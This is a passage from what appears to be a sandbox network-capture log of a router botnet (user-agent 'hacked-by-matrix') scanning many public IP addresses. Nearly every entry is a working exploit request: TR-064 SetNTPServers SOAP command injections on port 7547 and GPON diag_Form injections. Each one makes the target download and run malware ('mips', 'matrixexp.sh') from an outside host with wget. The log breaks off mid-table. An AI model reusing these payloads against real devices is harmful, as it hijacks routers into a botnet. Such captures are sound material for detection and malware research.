Mar 2, 2024 12:37:08.030967951 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:08.419482946 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:08.562150002 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Sat, 02 Mar 2024 11:37:09 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.23	49926	213.234.121.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:08.719813108 CET	31	IN	Data Raw: 52 65 73 65 74 20 66 72 6f 6d 20 6c 6f 63 61 6c 3a 28 31 35 36 36 29 20 73 65 71 20 3d 20 30 Data Ascii: Reset from local:(1566) seq = 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.23	44168	64.222.155.243	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:09.179399967 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:09.571234941 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:09.714627028 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Sat, 02 Mar 2024 11:37:10 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.23	37784	67.255.56.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.183327913 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:14.404968977 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.23	40724	47.196.186.4	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.183680058 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:10.883042097 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:11.682966948 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.23	34056	50.37.148.2	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.233695030 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:11.203025103 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.23	55698	99.236.12.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.329066038 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.23	34664	99.239.99.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.329845905 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.23	41672	118.44.255.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.350835085 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.23	46490	71.82.193.115	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.350886106 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.23	55710	99.236.12.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.451307058 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.23	34682	99.239.99.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.457000017 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.23	46510	71.82.193.115	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.478425980 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.23	41694	118.44.255.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.637012005 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.23	48404	94.69.232.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903512001 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.23	34010	42.224.230.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903512001 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.23	53680	178.190.139.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903541088 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.23	51750	94.173.217.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903561115 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.23	41424	2.171.208.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903567076 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.23	43274	37.89.218.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903578997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.23	57898	5.172.108.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903583050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.23	44336	79.92.224.118	443

Timestamp	Bytes transferred	Direction	Data
